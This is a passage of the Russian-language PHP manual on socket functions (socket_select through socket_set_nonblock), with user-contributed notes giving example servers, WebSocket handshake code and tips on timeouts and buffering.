echo "Неудачный вызов socket_select(), причина: " .
socket_strerror(socket_last_error()) . "\n";
}
?>

Примеры

Пример #3 Пример использования socket_select()

<?php
/* Подготовить массив сокетов для чтения */
$read = array($socket1, $socket2);
$write = NULL;
$except = NULL;
$num_changed_sockets = socket_select($read, $write, $except, 0);

if ($num_changed_sockets === false) {
/* Обработка ошибок */
} else if ($num_changed_sockets > 0) {
/* По крайней мере, в одном из сокетов произошло что-то интересное */
}
?>

Примечания

Замечание:

Имейте в виду, что некоторые реализации сокетов необходимо обрабатывать очень осторожно. Несколько основных правил:

  • Вы всегда должны попытаться использовать socket_select() без времени ожидания. Ваша программа ничего не должна делать, если нет доступных данных. Код, зависящий от времени ожидания, обычно не очень переносим и труден для отладки.
  • Сокет не должен добавляться к любому из массивов, если вы не собираетесь проверять результат после вызова socket_select(). После возврата socket_select() все сокеты во всех массивах должны быть проверены. Любой сокет, доступный для записи или чтения, должен использоваться для записи или чтения.
  • Если вы читаете или записываете из сокета, возвращаемого в массивах, имейте в виду, что он необязательно сможет прочитать или записать полностью запрашиваемые вами данные. Будьте готовы прочитать или записать только один байт.
  • Обычно для большинства реализаций сокетов единственное исключение, пойманное с помощью массива except - это данные без привязки, полученные в сокете.

Смотрите также

  • socket_read() - Читает строку максимальную длину байт из сокета
  • socket_write() - Запись в сокет
  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

juanfe0245 at gmail dot com 14-Jan-2020 09:39
<?php
//Creamos un socket de transmision de tipo TCP / IP.
$servidorSocket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
//Configuramos la opcion para reutilizar el puerto.
socket_set_option($servidorSocket,SOL_SOCKET,SO_REUSEADDR,1);
/*
    Vinculamos el socket a nuestro puerto y direccion IP.
    Ahora, todas las conecciones en este puerto son nuestro responsabilidad para recibir y enviar datos.
*/
socket_bind($servidorSocket,'localhost',9000);
//Comenzamos a escuchar conexiones.
socket_listen($servidorSocket);
/*
    Creamos un arreglo con todos los clientes que se conectaran a nuestro servidor.
    Anadimos nuestro socket servidor al arreglo de clientes.
*/
$clientes=[$servidorSocket];
$null=null;
while(true){
    //Creamos una copia de $clientes, debido a que $clientes no se modifica por la funcion socket_select().
    $nuevoClienteLector=$clientes;
    //Obtenemos una lista de todos los clientes que tienen datos para leer.
    socket_select($nuevoClienteLector,$null,$null,10);
    //Verificamos si hay un cliente tratando de conectarse.
    if(in_array($servidorSocket,$nuevoClienteLector)){
        //Aceptamos el cliente y lo anadimos al arreglo de $clientes.
        $nuevoCliente=socket_accept($servidorSocket);
        echo "Socket aceptado.\n";
        $clientes[]=$nuevoCliente;
        //Obtenemos el encabezado del cliente y realizamos la comprobacion del handshake.
        $encabezado=socket_read($nuevoCliente,1024);
        handshake($nuevoCliente,$encabezado);
        //Eliminamos el cliente del arreglo $nuevoClienteLector.
        $nuevoClienteIndex=array_search($servidorSocket,$nuevoClienteLector);
        unset($nuevoClienteLector[$nuevoClienteIndex]);
    }
    //Recorremos todos los clientes que tienen datos por leer.
    foreach($nuevoClienteLector as $cliente){
        //Recibimos informacion del cliente conectado.
        while(socket_recv($cliente,$datosCliente,1024,0)>=1){
            //Decodificamos el mensaje que viene en bytes.
            $mensaje=decodificar($datosCliente);
            //Enviamos el mensaje a todos los sockets conectados.
            enviar($clientes,$mensaje);
            echo $mensaje."\n";
            break 2;
        }
        //Verificamos si el cliente esta desconectado.
        $datosCliente=@socket_read($cliente,1024,PHP_NORMAL_READ);
        if($datosCliente===false){
            $clienteIndex=array_search($cliente,$clientes);
            //Eliminamos el cliente del arreglo $clientes.
            unset($clientes[$clienteIndex]);
            echo "Cliente desconectado.\n";
        }
    }
}
function enviar($clientes,$mensaje){
    $mensaje=codificar($mensaje);
    foreach($clientes as $cliente){
        @socket_write($cliente,$mensaje,strlen($mensaje));
    }
}
socket_close($servidorSocket);
function codificar($socketData){
    $b1 = 0x80 | (0x1 & 0x0f);
    $length = strlen($socketData);

    if($length <= 125)
        $header = pack('CC', $b1, $length);
    elseif($length > 125 && $length < 65536)
        $header = pack('CCn', $b1, 126, $length);
    elseif($length >= 65536)
        $header = pack('CCNN', $b1, 127, $length);
    return $header.$socketData;
}
function decodificar($socketData) {
    $length = ord($socketData[1]) & 127;
    if($length == 126) {
        $masks = substr($socketData, 4, 4);
        $data = substr($socketData, 8);
    }
    elseif($length == 127) {
        $masks = substr($socketData, 10, 4);
        $data = substr($socketData, 14);
    }
    else {
        $masks = substr($socketData, 2, 4);
        $data = substr($socketData, 6);
    }
    $socketData = "";
    for ($i = 0; $i < strlen($data); ++$i) {
        $socketData .= $data[$i] ^ $masks[$i%4];
    }
    return $socketData;
}
function handshake($client_socket_resource,$received_header) {
    $headers = array();
    $lines = preg_split("/\r\n/", $received_header);
    foreach($lines as $line){
        $line = chop($line);
        if(preg_match('/\A(\S+): (.*)\z/', $line, $matches)) $headers[$matches[1]] = $matches[2];
    }
    $secKey = $headers['Sec-WebSocket-Key'];
    $secAccept = base64_encode(pack('H*', sha1($secKey . '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')));
    $buffer  = "HTTP/1.1 101 Web Socket Protocol Handshake\r\n" .
    "Upgrade: websocket\r\n" .
    "Connection: Upgrade\r\n" .
    "Sec-WebSocket-Accept:$secAccept\r\n\r\n";
    socket_write($client_socket_resource,$buffer,strlen($buffer));
}
renmengyang567 at gmail dot com 09-Apr-2019 12:18
<explain>
 A simple socket-select case ^_^

<?php
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1024);
$all_sock[(int)$sock] = $sock;

while (true) {
    $read = $write = $except = [];
    $tv_sec = 5;
    $tv_usec = 5000;
    $read = $all_sock;

    $changed = socket_select($read, $write, $except, $tv_sec, $tv_sec);

    if (false == $changed)
        print "[error]socket_select() failed
        (" .socket_strerror(socket_last_error()) . ")\n";

    if ($changed < 1)
       continue;

    //var_dump($read);
    //sleep(2);
    foreach ($read as $rsock) {
        // ?????
        if ($rsock === $sock) {
            $client = socket_accept($sock);
            $all_sock[(int)$client] = $client;

        } else {//?????
            $msg= socket_read($rsock, 400,PHP_NORMAL_READ);
            if ($msg !== '') {
                var_dump($msg);
            }
        }
    }
}
socket_close($sock);
malcolm.murphy 31-Jul-2016 06:55
This was mentioned by [Viorel] above but I think it warrants being repeated...

The example provided by [vardhan ( at ) rogers ( dot ) com], while otherwise exceptional, uses the value int(0) for $tv_sec which will cause the iteration to loop as fast as possible, consequently using up any available CPU time.

*** Ideally, $tv_sec should always be set to NULL ***, especially if you are using socket_select in a loop. If you must temporarily stop listening for events to perform another task, then the timeout should be as high as possible to reduce CPU strain (another note suggested preventing 100% CPU usage by setting a low $tv_usec value, which only makes the problem slightly less worse but does not solve it).

Setting the timeout to an explicit null value is basically the same as setting it to infinite. The script will only execute the while loop once every time there is an event.
antti r 16-Dec-2015 12:16
as of 12/2015 and php 5.3.3, the socket_select() maximum sockets is still 1024 and not risable by process file limits (bash ulimit -n). PHP new compilation is required to raise the limits. Or one might rather choose forking or multiple binaries.
simon dot riget at gmail dot com 07-Dec-2013 08:28
A verry simple HTTP webserver written in PHP
Run it in the shell with php <name of file> and test in in the browser with <server address>:8080/test

<?php
  // Reduce the amount of warnings displayed
  error_reporting(E_ALL ^ E_NOTICE);

  // Set up socket for listening
  $host_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if(!$host_socket) die("Failed to start event server. socket_create: ". socket_strerror(socket_last_error())."\n");

  // set the option to reuse the port
  if(! socket_set_option($host_socket, SOL_SOCKET, SO_REUSEADDR, 1) )
    die("Failed to start event server. socket_set_option: ". socket_strerror(socket_last_error())."\n");

  // bind host socket to localhost or 0.0.0.0 on port 8080
  if(! socket_bind($host_socket,"0.0.0.0",8080) )
    die("Failed to start event server. socket_bind: ". socket_strerror(socket_last_error())."\n");

  // start listening for connections
  if(! socket_listen($host_socket,10) )
    die("Failed to start event server. socket_listen: ".socket_strerror(socket_last_error())."\n");

  while (true) {
    // Make list of sockets to listen for changes in, including host
    $read = array($host_socket);

    // get a list of all the clients that have data to be read from
    $ready=@socket_select($read, $write = NULL, $except = NULL,0);
    if ($ready=== false)
      die("Failed to listen for clients: ". socket_strerror(socket_last_error()));

    // a client request service
    elseif($ready>0){
      // accept new client
      $newsocket = socket_accept($host_socket);

      // Read from socket
      $input = socket_read($newsocket, 1024);
      if($input){
        unset($client_header);
        // Read headers; Split into safe lines
        $line=explode("\n",preg_replace('/[^A-Za-z0-9\-+\n :;=%*?.,\/_]/','',substr($input,0,2000)));
        // Split request line into its parts
        list($client_header["method"],$client_header["url"],$client_header["protocol"])=explode(" ",$line[0]);
        // Remove the request line again.
        unset($line[0]);
        // Make key=value array of headers
        foreach($line as $l){
          list($key,$val)=explode(": ",$l);
          if($key) $client_header[strtolower($key)]=$val;
        }
        // Get IP of client
        socket_getpeername($newsocket, $client_header['ip']);

        // Decode url
        $client_header+=(array)parse_url($client_header['url']);
        parse_str($client_header['query'],$client_header['arg']);

        print_r($client_header);

        // Serve file
        if(strpos($client_header['path'],".html") && file_exists(__DIR__.$client_header['path'])){
          echo "Sending a HTML page to client\n";
          socket_write($newsocket,"$client_header[protocol] 200 OK\r\n");
          socket_write($newsocket,"Content-type: text/html; CHARSET=Windows-1251\r\n\r\n");
          socket_write($newsocket,file_get_contents(__DIR__.$client_header['path'])."\r\n\r\n");
          socket_close($newsocket);
        }elseif($client_header['path']=="/test"){
          echo "Sending test HTML page to client\n";
          socket_write($newsocket,"<!DOCTYPE HTML><html><head><html><body><h1>Its working!</h1>Have fun\r\n");
          socket_write($newsocket,"<pre>Request header: ". print_r($client_header,true) . "</pre>\r\n");
          socket_write($newsocket,"</body></html>\r\n\r\n");
          socket_close($newsocket);
        }else{
          echo "$client_header[protocol] 404 Not Found\r\n";
          socket_write($newsocket,"$client_header[protocol] 404 Not Found\r\n\r\n");
          socket_close($newsocket);
        }
      }
    }
  }
  socket_close($host_socket);
?>
Viorel 06-Mar-2013 07:38
Probably you will want to use

// get a list of all the clients that have data to be read from
// if there are no clients with data, go to next iteration
        if (socket_select($read, $write = NULL, $except = NULL, NULL) < 1)
            continue;

instead
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
            continue;
which will hang your CPU to 100% (return immediate if nothing to be done)
jean at briskula dot si 04-Feb-2011 05:03
As it was already said, some clients need \0 character to end transmission, for example Flash's XMLSocket.

You should also be prepared to read less data than you have requested.

Here is an example of a socket buffer - it's an array which has socket resources for keys and an array of a timestamp and recieved data as values.

I find that the best practice for sending data is trailing it with a new line and zero character (\n\0), because you will probably have different types of clients which behave differently for reading data from sockets. Some need a \n to fire an event, some need \0.

For recieving data, sometimes you will get splitted data - this can hapen because the buffer is full (in my example 8192 bytes) or it just gets broken during transmission in lower levels.

Sometimes you can read two messages at once, but they have a zero character in between, so you can just use preg_split() to split the messages. The second message may not be complete, so you add it to your buffer.

<?php
    const message_delimiter = "\n\0";

    /*
     * Clear socket buffers older than 1 hour
     */
    function clear_buffer() {
        foreach($this->buffer as $key=>$val) {
            if(time() - $val['ts'] > 3600) {
                unset($this->buffer[$key]);
            }
        }
    }

    /*
     * Add data to a buffer
     */
    function buffer_add($sock,$data) {
        if(!isset($this->buffer[$sock])) {
            $this->buffer[$sock]['data'] = '';
        }

        $this->buffer[$sock]['data'] .= $data;
        $this->buffer[$sock]['ts'] = time();
    }

    function buffer_get($sock) {
        // split buffer by the end of string
        $lines = preg_split('/\0/',$this->buffer[$sock]['data']);

        // reset buffer to the last line of input
        // if the buffer was sent completely, the last line of input should be
        // an empty string
        $this->buffer[$sock]['data'] = trim($lines[count($lines)-1]);

        if(!empty($this->buffer[$sock]['data'])) {
            debug("buffer is not empty for $sock, len: ".strlen($this->buffer[$sock]['data']));
        }

        // remove the last line of input (incomplete data)
        // parse any complete data
        unset($lines[count($lines)-1]);

        // return only the fully sent data
        return $lines;
    }

    function read(&$sock,$len=8192,$flag=MSG_DONTWAIT) {
        $lines = array();

        $this->clear_buffer();

        $bytes_read = @socket_recv($sock,$read_data,$len,$flag);

        if ($bytes_read === false || $bytes_read == 0) {
            return false;
        } else {
            debug("recv: $read_data");
            $this->buffer_add($sock,$read_data);
            return $this->buffer_get($sock);
        }
    }

    /*
     * Write to a socket
     * add a newline and null character at the end
     * some clients don't read until new line is recieved
     *
     * try to send the rest of the data if it gets truncated
     */
    function write(&$sock,$msg) {
        $msg = $msg.self::message_delimiter;
        $length = strlen($msg);
        while(true) {
            $sent = @socket_write($sock,$msg,$length);
            if($sent <= 0) {
                return false;
            }
            if($sent < $length) {
                $msg = substr($msg, $sent);
                $length -= $sent;
                debug("Message truncated: Resending: $msg");
            } else {
                return true;
            }
        }
        return false;
    }
?>
John 02-Jun-2010 09:25
The way the document describes socket_select()'s handling of sockets polled for read is rather obscure.

It says that it checks to see if reading would not "block," but the overall description of socket_select() says it checks for a change in blocking status. Unfortunately, these are in conflict.

If a socket already has data in the buffer, calling socket_select() on that socket would never return (assuming null timeout), and would block forever. :-( This is because the blocking status wouldn't change. It simply stays "non-blocking"

It is important to remember NOT to select() on a socket which may already have data available.

An example...
<?php
//... $socket is already here...
$done = false;
$n = 0;
do{
    $tmp = 0;
    $r = $w = $e = array();
    $r = array($socket);
    socket_select($r,$w,$e,null);
    $n = socket_recv($socket, $tmp, 1024, 0);

    //$done = true; //Something determines that we are done reading...
}while(!$done);
?>
This MAY NOT work... socket_select() is always being called... but we may have data in the input buffer.

We need to ensure that the last time we read, nothing was read... (empty buffer)
<?php
//... $socket is already here...
$done = false;
$n = 0;
do{
    $tmp = 0;
    $r = $w = $e = array();
    $r = array($socket);
    if($n === 0) socket_select($r,$w,$e,null);
    $n = socket_recv($socket, $tmp, 1024, 0);

    //$done = true; //Something determines that we are done reading...
}while(!$done);
?>
magemerlin at list dot ru 17-Apr-2010 03:24
If you using a Flash client - you should know some specific features:

1) when client connects to the server - it is sending to you "<policy-file-request/>"."\0" string. Server should answer an XML policy file, then disconnect from this client. Code is something like

if ('<policy-file-request/>'==substr($data, 0, 22))
                {
                    echo "policy requset.\n";
                    flush();ob_flush();
                    $msg = '<'.'?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>'."\0";
                    echo "Say to client (crossdomain.xml) ... ";
                    flush();ob_flush();
                    socket_write($read_sock, $msg, strlen($msg));
                    echo "OK\n";
                    flush();ob_flush();

                    echo "Closing ... ";
                    flush();ob_flush();
                    socket_close($read_sock);
                    echo "OK\n";
                    flush();ob_flush();
                }
                else
                {
// here is normal IO operations with client
}

2) every output to client should be ended with "\0" (if using XMLSocket in Flash client) - otherwise flash will not generate onData event

Russian examples is there - http://www.flasher.ru/forum/showpost.php?p=901346&postcount=7
Aaron (aaron at acephalo dot us) 07-Oct-2009 11:21
socket_select() can also serve as a more granular sleep():

<?php
  # half-second sleep
  $undef = array();
  socket_select($undef, $undef, $undef, 0, "500000");
?>
eidberger at jakota dot de 18-Mar-2009 06:06
Just noticed that you have to loop socket_select () when using UDP to get all queued packets:

<?php
while (socket_select ($aRead, $aWrite, $aExcept, 1) > 0) {
    foreach ($aReadUdp as $oSocket) {
        $this->clientReadUdp ($oSocket);
    }
}
?>

That's important because every call of socket_select () on UDP brings you only one result. But there could be 10.000 results queued and if your turnarround time is to slow (server busy, other sleeps etc.), you'll never progress all results in near realtime.
danny at dansheps dot com 16-Sep-2008 09:45
Just to add to this.  Since the information contained in the notes is somewhat old.   It appears keys are being preserved now.

So, if you rely on knowing which keys need to be worked with and were like me and thought that it didnot preserve.  Well it does.
qartis at gmail dot com 30-Nov-2007 01:38
In regards to the code posted by vardhan ( at ) rogers ( dot ) com, it appears that on the following line:
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
the timeout parameter is accidentally set to 0, rather than NULL. This means that the select call will return immediately rather than blocking indefinitely.

Change the socket_select line to the following for great success:
        if (socket_select($read, $write = NULL, $except = NULL, NULL) < 1)
23-Jan-2007 03:04
If you want to use a simple fractional value for timeout:

<?php
socket_select(..., floor($timeout), ceil($timeout*1000000));
?>
Whosawhatsis at that google email thingy 19-Apr-2006 07:35
Another solution to the problem of keys not being preserved is to have an additional array for looking up sockets that uses their resource identifiers as keys. This can be obtained using array_flip() in some cases, but is particularly useful if each socket is associated with an object. In this case, you can make the object's constructor add a pointer to itself to the lookup array with its socket resource identifier as a key and use the following code to execute a read method for the object associated with each socket returned by socket_select():

<?php
socket_select($reads, $writes, $excepts, 0);

foreach ($sockets as $socket) {
    $lookuparray[$socket]->read();
}
?>
ludvig dot ericson at gmail dot com 01-Nov-2005 05:35
Regarding the comment below, No, it does not, it's a system call and I believe it's rather hard to preserve keys.

Additionally, socket_select should be used like it was a user-inputted array, that you don't know what you sent in to.

<?php
$reads = $clients;
$reads[] = $server;

socket_select($reads);

foreach ($reads as $read) {
    /* do some stuff */
}
?>
crimson at NOSPAMtechnologist dot com 30-Sep-2005 04:15
Note that the resulting arrays do NOT maintain keys (PHP 4.3.2) after being run through this function:

Before:
Array
(
    [Client_Socket] => Resource id #6
    [Server_Socket] => Resource id #9
)

After:
Array
(
    [0] => Resource id #6
    [1] => Resource id #9
)

It would have been nice to have the keys stay to figure out which stream you need to receive from, but you'll have to use some fancy foreach loop to figure out which sockets to check.
vardhan ( at ) rogers ( dot ) com 28-Aug-2005 07:46
A simple PHP script using socket_select() to manage multiple connections.
connect using "telnet localhost 9050". it broadcasts your messages that you send through telnet to other users connected to the server -- sort of like a chat script

#!/usr/local/bin/php
<?php

    $port = 9050;

    // create a streaming socket, of type TCP/IP
    $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

    // set the option to reuse the port
    socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);

    // "bind" the socket to the address to "localhost", on port $port
    // so this means that all connections on this port are now our resposibility to send/recv data, disconnect, etc..
    socket_bind($sock, 0, $port);

    // start listen for connections
    socket_listen($sock);

    // create a list of all the clients that will be connected to us..
    // add the listening socket to this list
    $clients = array($sock);

    while (true) {
        // create a copy, so $clients doesn't get modified by socket_select()
        $read = $clients;

        // get a list of all the clients that have data to be read from
        // if there are no clients with data, go to next iteration
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
            continue;

        // check if there is a client trying to connect
        if (in_array($sock, $read)) {
            // accept the client, and add him to the $clients array
            $clients[] = $newsock = socket_accept($sock);

            // send the client a welcome message
            socket_write($newsock, "no noobs, but ill make an exception :)\n".
            "There are ".(count($clients) - 1)." client(s) connected to the server\n");

            socket_getpeername($newsock, $ip);
            echo "New client connected: {$ip}\n";

            // remove the listening socket from the clients-with-data array
            $key = array_search($sock, $read);
            unset($read[$key]);
        }

        // loop through all the clients that have data to read from
        foreach ($read as $read_sock) {
            // read until newline or 1024 bytes
            // socket_read while show errors when the client is disconnected, so silence the error messages
            $data = @socket_read($read_sock, 1024, PHP_NORMAL_READ);

            // check if the client is disconnected
            if ($data === false) {
                // remove client for $clients array
                $key = array_search($read_sock, $clients);
                unset($clients[$key]);
                echo "client disconnected.\n";
                // continue to the next client to read from, if any
                continue;
            }

            // trim off the trailing/beginning white spaces
            $data = trim($data);

            // check if there is any data after trimming off the spaces
            if (!empty($data)) {

                // send this to all the clients in the $clients array (except the first one, which is a listening socket)
                foreach ($clients as $send_sock) {

                    // if its the listening sock or the client that we got the message from, go to the next one in the list
                    if ($send_sock == $sock || $send_sock == $read_sock)
                        continue;

                    // write the message to the client -- add a newline character to the end of the message
                    socket_write($send_sock, $data."\n");

                } // end of broadcast foreach

            }

        } // end of reading foreach
    }

    // close the listening socket
    socket_close($sock);
?>
drenintell 01-May-2005 01:13
The continuation of my my previous post on 28-Apr-2005 10:19 at
http://ca3.php.net/manual/en/function.socket-select.php

Here it is: (Link is broken into 2 parts)

'http://gtkphp.org/php_socket_select_hangs
_explanation_and_solution.html'
Richard Neill 16-Sep-2004 09:37
It is probably a bad idea to watch an array of sockets for input with socket_select, and then socket_read() using PHP_NORMAL_READ.

Although this seems desirable, you can end up with a permanently blocked program, if someone sends you malformed input which is missing a trailing \n \r. Guess how I found that out.
calimero dot NOSPAM at NOSPAM dot creatixnet dot com 14-Feb-2003 04:36
Please note that the timeout parameter has important side-effects on the CPU usage of your script.

Setting the timeout to 0 will make your CPU looping without any time to have some rest and handle other running processes on your system, causing the system load to increase heavily while your script is running.

Personnaly, I use a value of 15 ms for this parameter. this ensures a good listening frequency while letting your system load clear.

Example :
$read = array($ListeningSocket);
$num_changed_sockets = socket_select($read, $write = NULL, $except = NULL, 0, 10);

Hope this helps.
daveb at optusnet dot com dot au 09-Sep-2002 09:27
If you haven't done any network programming before, PHP's socket_select() might appear a bit strange to you. I've written a simple php "partyline" script to demonstrate the multi-socket use of select'ing at http://dave.dapond.com/socketselect.php.txt
julian dot haupt at gmx dot de 09-Jul-2002 10:15
hello,
i just made a class which acts similiar to Perl's IO::Select in order to make socket selecting very easy

your script should look something like that:

<?php
$server = new Server;
$client = new Client;

for (;;) {
  foreach ($select->can_read(0) as $socket) {

    if ($socket == $client->socket) {
      // New Client Socket
      $select->add(socket_accept($client->socket));
    }
    else {
      //there's something to read on $socket
    }
  }
}
?>

you should of course implement some routines to detect broken sockets and remove them from the select object.

you can also do output buffering and check in the main-loop for sockets that are ready to write

<?php
class select {
  var $sockets;

  function select($sockets) {

    $this->sockets = array();

    foreach ($sockets as $socket) {
      $this->add($socket);
    }
  }

  function add($add_socket) {
    array_push($this->sockets,$add_socket);
  }

  function remove($remove_socket) {
    $sockets = array();

    foreach ($this->sockets as $socket) {
      if($remove_socket != $socket)
        $sockets[] = $socket;
    }

    $this->sockets = $sockets;
  }

  function can_read($timeout) {
    $read = $this->sockets;
    socket_select($read,$write = NULL,$except = NULL,$timeout);
    return $read;
  }

  function can_write($timeout) {
    $write = $this->sockets;
    socket_select($read = NULL,$write,$except = NULL,$timeout);
    return $write;
  }
}
?>


Отправляет данные в подсоединённый сокет

  • « socket_select
  • socket_sendmsg »
  • PHP Manual
  • Функции сокета
  • Отправляет данные в подсоединённый сокет

socket_send

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_send — Отправляет данные в подсоединённый сокет

Описание

socket_send(
Socket $socket,
string $data,
int $length,
int $flags
): int|false

Функция socket_send() отправляет length байт в сокет socket из буфера data.

Список параметров

socket

Экземпляр Socket, созданный при помощи функции socket_create() или socket_accept().

data

Буфер, содержащий данные, которые будут отправлены на удалённый хост.

length

Число байт, которое будет отправлено на удалённый хост из буфера data.

flags

Значение параметра flags может быть любой комбинацией следующих флагов, соединённых при помощи двоичного оператора OR (|).

Возможные значения для параметра flags
MSG_OOB | Отправить данные OOB (out-of-band, внеполосные).
MSG_EOR | Указывает на метку записи. Отправляемые данные завершают запись.
MSG_EOF | Закрывает отправляющую сторону сокета и добавляет соответствующее оповещение об этом на конце отправляемых данных. Отправляемые данные завершают транзакцию.
MSG_DONTROUTE | Не использовать роутинг, использовать прямой интерфейс.

Возвращаемые значения

socket_send() возвращает количество отправленных байтов или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Смотрите также

  • socket_sendto() - Отправляет сообщение в сокет, независимо от того, подсоединён он или нет

User Contributed Notes

There are no user contributed notes for this page.


Отправить сообщение

  • « socket_send
  • socket_sendto »
  • PHP Manual
  • Функции сокета
  • Отправить сообщение

socket_sendmsg

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

socket_sendmsg — Отправить сообщение

Описание

socket_sendmsg(Socket $socket, array $message, int $flags = 0): int|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

socket

message

flags

Возвращаемые значения

Возвращает количество отправленных байтов или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Смотрите также

  • socket_recvmsg() - Прочитать сообщение
  • socket_cmsg_space() - Вычислить размер буфера сообщения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет сообщение в сокет, независимо от того, подсоединён он или нет

  • « socket_sendmsg
  • socket_set_block »
  • PHP Manual
  • Функции сокета
  • Отправляет сообщение в сокет, независимо от того, подсоединён он или нет

socket_sendto

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_sendto — Отправляет сообщение в сокет, независимо от того, подсоединён он или нет

Описание

socket_sendto(
Socket $socket,
string $data,
int $length,
int $flags,
string $address,
?int $port = null
): int|false

Функция socket_sendto() отправляет length байт из буфера buf через сокет socket к порту port на адресе address.

Список параметров

socket

Экземпляр Socket, созданный при помощи socket_create().

data

Отправляемые данные будут взяты из буфера data.

length

length байт из буфера data будет отправлено.

flags

Значение параметра flags может быть любой комбинацией следующих флагов, соединённых при помощи двоичного оператора OR (|).

Возможные значения флагов flags
MSG_OOB | Отправить данные OOB (out-of-band, внеполосные).
MSG_EOR | Указывает на метку записи. Отправленные данные завершают запись.
MSG_EOF | Закрывает отправляющую сторону сокета и добавляет соответствующее оповещение об этом в конец отправляемых данных. Отправленные данные завершают транзакцию.
MSG_DONTROUTE | Не использовать маршрутизацию, использовать прямой интерфейс.

address

IP-адрес удалённого хоста.

port

port - это номер удалённого порта, по которому будут отправлены данные.

Возвращаемые значения

Функция socket_sendto() возвращает количество байт, отправленных на удалённый хост, или false, если произошла ошибка.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).
8.0.0 | port теперь допускает значение null.

Примеры

Пример #1 Пример использования socket_sendto()

<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

$msg = "Пинг !";
$len = strlen($msg);

socket_sendto($sock, $msg, $len, 0, '127.0.0.1', 1223);
socket_close($sock);
?>

Смотрите также

  • socket_send() - Отправляет данные в подсоединённый сокет

User Contributed Notes

ole_DOT_omland_AT_gmail_DOT_com 12-Oct-2005 07:44
Here's how you can make an udp broadcast, useful sometimes, and does seem hard to figure out hwo to do..

<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
socket_sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', $port);
?>


Устанавливает блокирующий режим на сокете

  • « socket_sendto
  • socket_set_nonblock »
  • PHP Manual
  • Функции сокета
  • Устанавливает блокирующий режим на сокете

socket_set_block

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

socket_set_block — Устанавливает блокирующий режим на сокете

Описание

socket_set_block(Socket $socket): bool

Функция socket_set_block() убирает флаг O_NONBLOCK с сокета, указанного в параметре socket.

Когда операция (например, получение, отправка, соединение, принятие соединения, ...) выполняется на блокирующем сокете, скрипт будет приостанавливать своё выполнение до тех пор, пока он не получит сигнал или возможность выполнить операцию.

Список параметров

socket

Экземпляр Socket, созданный при помощи функции socket_create() или socket_accept().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Примеры

Пример #1 Пример использованияsocket_set_block()

<?php
$socket = socket_create_listen(1223);
socket_set_block($socket);

socket_accept($socket);
?>

Этот пример создаёт слушающий сокет на всех интерфейсах на порту 1223 и устанавливает сокет в режим O_BLOCK. Функция socket_accept() зависнет до тех пор, пока не будет принято соединение.

Смотрите также

  • socket_set_nonblock() - Устанавливает неблокирующий режим для файлового дескриптора fd
  • socket_set_option() - Устанавливает опции для сокета

User Contributed Notes

laacz at laacz dot lv 04-Dec-2014 08:43
Besides true and false socket_set_block might return NULL if you're not too careful. That would happen when passing non socket resource as first parameter.

E.g. socket_set_block(false)) would return NULL and emit warning that you're trying to do things with non-socket.


Устанавливает неблокирующий режим для файлового дескриптора fd

  • « socket_set_block
  • socket_set_option »
  • PHP Manual
  • Функции сокета
  • Устанавливает неблокирующий режим для файлового дескриптора fd

socket_set_nonblock

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_set_nonblock — Устанавливает неблокирующий режим для файлового дескриптора fd

Описание

socket_set_nonblock(Socket $socket): bool

Функция socket_set_nonblock() устанавливает флаг O_NONBLOCK на сокете, указанном в параметре socket.

Когда операция (например, получение, отправка, соединение, принятие соединения, ...) выполняется на неблокирующем сокете, скрипт не будет приостанавливать своё исполнение до получения сигнала или возможности выполнить операцию. Если выполняемая операция должна привести к блокированию выполнения скрипта, то вместо этого вызываемая функция возвратит ошибку.

Список параметров

socket

Экземпляр Socket, созданный при помощи функции socket_create() или socket_accept().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Примеры

Пример #1 Пример использования socket_set_nonblock()

<?php
$socket = socket_create_listen(1223);
socket_set_nonblock($socket);

socket_accept($socket);
?>

Этот пример создаёт слушающий сокет на всех интерфейсах на порту 1223 и устанавливает сокет в режим O_NONBLOCK. socket_accept() будет немедленно возвращать ошибку, если только именно в этот момент нету ожидающего соединения.

Смотрите также

  • socket_set_block() - Устанавливает блокирующий режим на сокете
  • socket_set_option() - Устанавливает опции для сокета
  • stream_set_blocking() - Установить блокирующий/неблокирующий режим в потоке

User Contributed Notes

kpobococ at gmail dot com 11-Sep-2009 07:46
